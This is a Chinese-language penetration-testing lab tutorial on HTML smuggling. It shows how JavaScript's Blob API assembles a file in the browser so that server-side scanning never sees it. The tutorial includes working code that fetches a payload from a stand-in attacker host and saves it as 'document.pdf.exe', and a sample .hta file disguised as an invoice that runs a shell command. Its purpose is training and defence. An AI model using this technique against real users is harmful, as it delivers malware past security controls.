◈ 渗透任务
HTML Smuggling 文件投递验证
任务中
你的身份
「暗影安全公司」渗透测试工程师
目标网站
SecureDrop 安全文件传输 (transfer.securedrop.example.com)
委托方
SecureDrop 的服务器端扫描无法检测客户端构造的恶意文件
任务目标
使用 Blob API 在浏览器中构造恶意文件并触发下载
- 在浏览器内存中构造恶意文件
- 绕过服务器端内容检测触发下载
◈ 教程:HTML Smuggling
什么是 HTML Smuggling?
HTML Smuggling 是一种攻击技术,利用浏览器端 JavaScript 构造恶意文件并触发下载。与传统的恶意文件下载不同,恶意文件从不出现在服务器上,因此可以绕过服务器端的所有安全检测机制。
核心原理:攻击载荷不是从服务器下载的,而是由页面中的 JavaScript 代码在浏览器内存中动态构造的。服务器只提供了一个"干净"的 HTML 页面。
攻击流程
┌─────────────┐ HTML 页面(干净) ┌─────────────┐
│ 受害者 │ ←───────────────────── │ 服务器 │
│ (浏览器) │ │ (攻击者控制) │
│ │ 无恶意文件传输 │ │
│ ┌───────┐ │ └─────────────┘
│ │ JS 代码│ │
│ └───┬───┘ │
│ │ │
│ ▼ │
│ Blob API │ 在内存中构造恶意文件
│ │ │
│ ▼ │
│ 下载 .hta │ 自动触发文件下载
│ / .exe 等 │
└─────────────┘
关键技术:Blob API
// 1. 创建 Blob 对象(文件内容在内存中)
const blob = new Blob(
['文件内容字符串'],
{type: 'application/hta'} // MIME 类型
);
// 2. 生成临时下载 URL
const url = URL.createObjectURL(blob);
// → "blob:https://example.com/a1b2c3d4-..."
// 3. 创建下载链接并触发
const a = document.createElement('a');
a.href = url;
a.download = 'invoice.hta'; // 保存的文件名
a.click(); // 触发下载
为什么服务器端扫描无法检测?
- 服务器视角:只看到一个普通的 HTML 页面请求,返回的也是干净的 HTML/JS 代码
- 网络流量:没有恶意文件在网络上传输,WAF/IDS 无法检测
- 文件系统:服务器上不存在恶意文件,文件扫描无用武之地
- 沙箱:如果沙箱不执行 JS,也不会看到恶意文件
常见利用场景
| 文件类型 | MIME Type | 用途 |
|---|---|---|
.hta |
application/hta | HTML Application,可执行任意命令 |
.exe |
application/octet-stream | 可执行文件 |
.iso |
application/octet-stream | 磁盘映像(绕过 MOTW) |
.docx |
application/vnd.openxmlformats... | Office 文档(含宏) |
.lnk |
application/octet-stream | 快捷方式文件 |
进阶:文件内容编码
// Base64 编码二进制文件
function base64ToBlob(base64, mimeType) {
const byteChars = atob(base64);
const byteArrays = [];
for (let i = 0; i < byteChars.length; i++) {
byteArrays.push(byteChars.charCodeAt(i));
}
return new Blob([new Uint8Array(byteArrays)], {type: mimeType});
}
// 使用 fetch 下载外部 payload
fetch('https://attacker.com/payload.bin')
.then(r => r.blob())
.then(blob => {
const a = document.createElement('a');
a.href = URL.createObjectURL(blob);
a.download = 'document.pdf.exe';
a.click();
});
防御措施
- 浏览器的 Mark-of-the-Web (MOTW) 标记下载文件
- EDR/终端安全软件检测下载的可执行文件
- 企业策略阻止从浏览器下载 .hta/.exe 等文件类型
- 内容 Disarm and Reconstruction (CDR) 技术
◈ 练习:HTML Smuggling
目标:页面模拟了一个"发票下载"场景。点击按钮后,JavaScript 会在浏览器中构造一个 .hta 文件并触发下载。
观察整个过程中服务器完全没有传输恶意文件。
◈ 攻击特征:
- 服务器端 -- 无恶意文件,安全扫描无异常
- 客户端 -- JavaScript 使用
Blob API构造恶意文件 - 下载触发 --
<a download>自动触发文件保存
◈ 模拟场景:发票下载页面
您有一张待处理的电子发票,请点击下方按钮下载。
等待操作...
◈ 自定义 Payload
修改 .hta 文件内容和文件名,观察不同的构造结果:
◈ 查看漏洞源码 (JavaScript)
// HTML Smuggling - file constructed in browser
function smuggle() {
// Simulated malicious content
const payload = '<script>new ActiveXObject("WScript.Shell").Run("calc.exe")<\/script>';
// Create blob
const blob = new Blob([payload], {type: 'application/hta'});
// Create download link
const a = document.createElement('a');
a.href = URL.createObjectURL(blob);
a.download = 'invoice.hta';
a.click();
}
◈ 查看服务端代码 (PHP)
<?php
// 服务器端: 只提供一个"下载发票"的页面
// 服务器完全没有看到任何恶意文件
// 恶意 .hta 文件完全在浏览器端构造
// 服务器端安全扫描无法检测
?>
◈ 技术分析:
Blob-- 在浏览器内存中构造文件URL.createObjectURL-- 生成blob:https://...临时 URL<a download>-- 浏览器自动保存文件,无需用户确认- 服务器全程 无恶意内容传输,WAF/IDS 无法检测